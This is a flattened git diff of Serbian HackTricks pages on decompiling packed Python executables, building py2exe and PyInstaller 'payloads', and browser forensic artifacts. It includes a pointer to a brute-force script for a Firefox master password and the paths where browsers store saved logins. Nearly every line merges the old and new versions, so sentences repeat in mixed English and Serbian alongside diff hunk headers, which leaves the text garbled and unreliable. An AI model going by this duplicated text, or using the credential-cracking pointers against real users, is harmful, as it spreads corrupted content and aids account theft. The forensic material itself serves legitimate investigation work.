Čest problem koji se javlja uključuje nepotpunu Python bajtkod datoteku koja proizilazi iz **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, što onda **nije prepoznato od strane uncompyle6 zbog nedostajućeg broja verzije Python bajtkoda**. Da biste rešili ovo, dodata je opcija prepend, koja dodaje neophodan broj verzije Python bajtkoda, olakšavajući proces dekompilacije. Uobičajen problem koji se javlja uključuje nepotpunu Python bytecode datoteku koja je rezultat **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, koja zatim **ne može biti prepoznata od strane uncompyle6 zbog nedostatka broja verzije Python bytecode-a**. Da bi se to rešilo, dodata je opcija za dodavanje, koja dodaje neophodan broj verzije Python bytecode-a, olakšavajući proces decompiling-a.
Primer problema: Primer problema:
```python ```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Analiza python montaže ## Analyzing python assembly
Ako niste uspeli da izvučete "originalni" Python kod prateći prethodne korake, možete pokušati da **izvučete** **montažu** (ali **nije veoma opisna**, pa pokušajte ponovo da izvučete originalni kod). U [ovde](https://bits.theorem.co/protecting-a-python-codebase/) sam pronašao veoma jednostavan kod za **raspakivanje** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ fajl iz Python 2, koristite Python 2: Ako niste mogli da izvučete python "original" kod prateći prethodne korake, onda možete pokušati da **izvučete** **assembly** (ali **nije baš opisno**, pa **pokušajte** da ponovo **izvučete** originalni kod). U [ovde](https://bits.theorem.co/protecting-a-python-codebase/) sam pronašao vrlo jednostavan kod za **disassemble** _.pyc_ binarni (srećno sa razumevanjem toka koda). Ako je _.pyc_ iz python2, koristite python2:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None) 14 LOAD_CONST 0 (None)
17 RETURN_VALUE 17 RETURN_VALUE
``` ```
## Python u izvršnu datoteku ## Python to Executable
Da bismo počeli, pokazaćemo vam kako se payloadi mogu kompajlirati u py2exe i PyInstaller. Da počnemo, pokažaćemo vam kako se payloadi mogu kompajlirati u py2exe i PyInstaller.
### Za kreiranje payloada korišćenjem py2exe: ### Da kreirate payload koristeći py2exe:
1. Instalirajte paket py2exe sa [http://www.py2exe.org/](http://www.py2exe.org) 1. Instalirajte py2exe paket sa [http://www.py2exe.org/](http://www.py2exe.org)
2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu poput one u Figuri 1. Opcija "bundle\_files" sa vrednošću 1 će uključiti sve, uključujući Python interpretera, u jednu izvršnu datoteku. 2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu kao što je prikazano na Slici 1. Opcija “bundle\_files” sa vrednošću 1 će sve spojiti, uključujući Python interpreter, u jedan exe.
3. Kada je skripta spremna, izdaćemo komandu "python setup.py py2exe". Ovo će kreirati izvršnu datoteku, baš kao na slici 2. 3. Kada je skripta spremna, izdaćemo komandu “python setup.py py2exe”. Ovo će kreirati izvršni fajl, baš kao na Slici 2.
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### Za kreiranje payload-a korišćenjem PyInstaller-a: ### Da kreirate payload koristeći PyInstaller:
1. Instalirajte PyInstaller korišćenjem pip-a (pip install pyinstaller). 1. Instalirajte PyInstaller koristeći pip (pip install pyinstaller).
2. Nakon toga, izdaćemo komandu "pyinstaller --onefile hello.py" (napomena da je 'hello.py' naš payload). Ovo će sve upakovati u jedan izvršni fajl. 2. Nakon toga, izdaćemo komandu “pyinstaller onefile hello.py” (podsećanje da je hello.py naš payload). Ovo će sve spojiti u jedan izvršni fajl.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -217,20 +218,21 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet o nagradi za otkrivanje grešaka**: **Prijavite se** za **Intigriti**, premijum **platformu za otkrivanje grešaka kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty savjet**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Artefakti pregledača # Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Pristupite danas: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Artefakti pregledača <a href="#id-3def" id="id-3def"></a> ## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Artefakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, poput istorije navigacije, obeleživača i keš podataka. Ovi artefakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka. Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
Evo sažetka najčešćih artefakata pregledača: Here's a summary of the most common browser artifacts:
* **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima. * **Navigation History**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
* **Automatski podaci**: Predlozi zasnovani na čestim pretragama, pružajući uvide kada se kombinuju sa istorijom navigacije. * **Autocomplete Data**: Predlozi zasnovani na čestim pretragama, nude uvid kada se kombinuju sa istorijom pretrage.
* **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa. * **Bookmarks**: Sajtovi koje je korisnik sačuvao za brzi pristup.
* **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika. * **Extensions and Add-ons**: Ekstenzije ili dodaci koje je korisnik instalirao.
* **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu. * **Cache**: Čuva veb sadržaj (npr. slike, JavaScript datoteke) kako bi poboljšao vreme učitavanja veb sajtova, vredno za forenzičku analizu.
* **Prijave**: Sačuvane prijavne informacije. * **Logins**: Sačuvane prijavne informacije.
* **Favikoni**: Ikone povezane sa veb sajtovima, koje se pojavljuju u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika. * **Favicons**: Ikone povezane sa veb sajtovima, pojavljuju se u karticama i oznakama, korisne za dodatne informacije o posetama korisnika.
* **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača. * **Browser Sessions**: Podaci vezani za otvorene sesije pretraživača.
* **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača. * **Downloads**: Zapisnici datoteka preuzetih putem pretraživača.
* **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja. * **Form Data**: Informacije unesene u veb forme, sačuvane za buduće predloge za automatsko popunjavanje.
* **Sličice**: Pregledne slike veb sajtova. * **Thumbnails**: Pregledne slike veb sajtova.
* **Prilagođeni rečnik.txt**: Reči dodate od strane korisnika u rečnik pregledača. * **Custom Dictionary.txt**: Reči koje je korisnik dodao rečniku pretraživača.
## Firefox ## Firefox
Firefox organizuje korisničke podatke unutar profila, čuvajući ih na specifičnim lokacijama zavisno od operativnog sistema: Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na specifičnim mestima u zavisnosti od operativnog sistema:
* **Linux**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Fajl `profiles.ini` unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj prema promenljivoj `Path` unutar `profiles.ini`, smeštenoj u istom direktorijumu kao i sam `profiles.ini`. Ako fascikla profila nedostaje, možda je obrisana. Datoteka `profiles.ini` unutar ovih direktorijuma sadrži listu korisničkih profila. Podaci svakog profila se čuvaju u fascikli nazvanoj u `Path` varijabli unutar `profiles.ini`, koja se nalazi u istom direktorijumu kao i `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova: Unutar svake fascikle profila možete pronaći nekoliko važnih datoteka:
* **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima istorije. * **places.sqlite**: Čuva istoriju, oznake i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima o istoriji.
* Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima. * Koristite specifične SQL upite za ekstrakciju informacija o istoriji i preuzimanjima.
* **bookmarkbackups**: Sadrži rezervne kopije obeleživača. * **bookmarkbackups**: Sadrži rezervne kopije oznaka.
* **formhistory.sqlite**: Čuva podatke o veb obrascima. * **formhistory.sqlite**: Čuva podatke o veb formama.
* **handlers.json**: Upravljači protokola. * **handlers.json**: Upravljanje protokolima.
* **persdict.dat**: Prilagođene reči rečnika. * **persdict.dat**: Reči iz prilagođenog rečnika.
* **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima. * **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i ekstenzijama.
* **cookies.sqlite**: Čuvanje kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za inspekciju na Windows-u. * **cookies.sqlite**: Skladištenje kolačića, uz [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupno za inspekciju na Windows-u.
* **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **cache2/entries** ili **startupCache**: Podaci o kešu, dostupni putem alata kao što je [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Čuva favikone. * **favicons.sqlite**: Čuva favicone.
* **prefs.js**: Korisnička podešavanja i preferencije. * **prefs.js**: Korisničke postavke i preferencije.
* **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite. * **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
* **thumbnails**: Slike pregleda veb sajtova. * **thumbnails**: Mini slike veb sajtova.
* **logins.json**: Šifrovane prijavne informacije. * **logins.json**: Enkriptovane prijavne informacije.
* **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje radi zaštite osetljivih informacija. * **key4.db** ili **key3.db**: Čuva ključeve za enkripciju osetljivih informacija.
Dodatno, proveru anti-phishing podešavanja pregledača možete obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene. Pored toga, proveru podešavanja pretraživača za zaštitu od phishing-a možete izvršiti pretraživanjem `browser.safebrowsing` unosa u `prefs.js`, što ukazuje na to da li su funkcije bezbednog pretraživanja omogućene ili onemogućene.
Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ Da biste pokušali da dekriptujete glavnu lozinku, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Sa sledećim skriptom i pozivom možete odrediti datoteku lozinke za brute force: Sa sledećim skriptom i pozivom možete odrediti datoteku lozinki za brute force:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -91,115 +92,116 @@ done < $passfile
## Google Chrome ## Google Chrome
Google Chrome čuva korisničke profile na specifičnim lokacijama zavisno od operativnog sistema: Google Chrome čuva korisničke profile na specifičnim lokacijama u zavisnosti od operativnog sistema:
* **Linux**: `~/.config/google-chrome/` * **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
U ovim direktorijumima, većina korisničkih podataka može se pronaći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke: Unutar ovih direktorijuma, većina korisničkih podataka može se naći u **Default/** ili **ChromeDefaultData/** folderima. Sledeće datoteke sadrže značajne podatke:
* **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, za čitanje istorije može se koristiti [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html). Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, unete URL-ove, podneske formi i osvežavanja stranica. * **History**: Sadrži URL-ove, preuzimanja i ključne reči za pretragu. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) može se koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, otkucane URL-ove, slanje obrazaca i ponovna učitavanja stranica.
* **Cookies**: Čuva kolačiće. Za inspekciju, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html). * **Cookies**: Čuva kolačiće. Za inspekciju, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) za inspekciju. * **Cache**: Drži keširane podatke. Za inspekciju, korisnici Windows-a mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Bookmarks**: Korisnički obeleživači. * **Bookmarks**: Korisnički obeleživači.
* **Web Data**: Sadrži istoriju formi. * **Web Data**: Sadrži istoriju obrazaca.
* **Favicons**: Čuva ikone web sajtova. * **Favicons**: Čuva favicon-e sajtova.
* **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki. * **Login Data**: Uključuje podatke za prijavu kao što su korisnička imena i lozinke.
* **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima. * **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama.
* **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren. * **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
* **Extensions**: Direktorijumi za proširenja i dodatke pregledača. * **Extensions**: Direktorijumi za ekstenzije i dodatke pretraživača.
* **Thumbnails**: Čuva sličice web sajtova. * **Thumbnails**: Čuva sličice sajtova.
* **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više. * **Preferences**: Datoteka bogata informacijama, uključujući podešavanja za dodatke, ekstenzije, iskačuće prozore, obaveštenja i još mnogo toga.
* **Ugrađena anti-phishing zaštitа pregledača**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu. * **Browsers built-in anti-phishing**: Da biste proverili da li su zaštita od phishing-a i zaštita od malvera omogućene, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
## **Obnova podataka iz SQLite baze podataka** ## **SQLite DB Data Recovery**
Kao što možete primetiti u prethodnim sekcijama, kako Chrome tako i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose korišćenjem alata** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). Kao što možete primetiti u prethodnim sekcijama, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **oporaviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja. Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju sačuvanih informacija i njihovih odgovarajućih detalja za lak pristup i upravljanje.
### Čuvanje metapodataka ### Metadata Storage
Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (sa VX koji može biti V01, V16 ili V24). Pored toga, fajl `V01.log` može pokazati razlike u vremenu modifikacije u odnosu na `WebcacheVX.data`, što ukazuje na potrebu popravke korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se obnoviti i inspekcijom koristiti alate poput photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), redom. Unutar tabele **Containers**, moguće je razlikovati specifične tabele ili kontejnere gde je smešten svaki segment podataka, uključujući detalje keša za druge Microsoft alate poput Skype-a. Metapodaci za Internet Explorer čuvaju se u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gde je VX V01, V16 ili V24). Uz to, datoteka `V01.log` može pokazati razlike u vremenu modifikacije sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom koristeći `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se oporaviti i pregledati koristeći alate kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). Unutar tabele **Containers**, može se uočiti specifične tabele ili kontejneri gde je svaki segment podataka smešten, uključujući detalje o kešu za druge Microsoft alate kao što je Skype.
### Inspekcija keša ### Cache Inspection
Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju fascikle za ekstrakciju keš podataka. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, poreklo URL-a i vremenske oznake koje pokazuju vreme kreiranja keša, pristupa, modifikacije i isteka. Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju foldera za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime datoteke, direktorijum, broj pristupa, URL izvor i vremenske oznake koje označavaju vreme kreiranja, pristupa, modifikacije i isteka keša.
### Upravljanje kolačićima ### Cookies Management
Kolačići se mogu istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji. Kolačići se mogu istraživati koristeći [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), sa metapodacima koji obuhvataju imena, URL-ove, brojeve pristupa i razne vremenske detalje. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
### Detalji preuzimanja ### Download Details
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), pri čemu specifični kontejneri čuvaju podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), sa specifičnim kontejnerima koji sadrže podatke kao što su URL, tip datoteke i lokacija preuzimanja. Fizičke datoteke se mogu naći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Istorija pregledanja ### Browsing History
Za pregled istorije pregledanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju izdvojenih fajlova istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vreme modifikacije i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`. Za pregled istorije pretraživanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju ekstraktovanih datoteka istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vremena modifikacije i pristupa, zajedno sa brojevima pristupa. Datoteke istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Uneti URL-ovi ### Typed URLs
Uneti URL-ovi i vremena njihovog korišćenja se čuvaju u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa. Otucani URL-ovi i njihova vremena korišćenja čuvaju se u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova koje je korisnik uneo i njihova poslednja vremena unosa.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su: Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
* **Putanja profila**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Istorija, Kolačići i Preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Podešavanja, Obeleživači i Lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Keš**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Poslednje aktivne sesije**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Podaci Safari pregledača se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju: Safari podaci se čuvaju na `/Users/$User/Library/Safari`. Ključne datoteke uključuju:
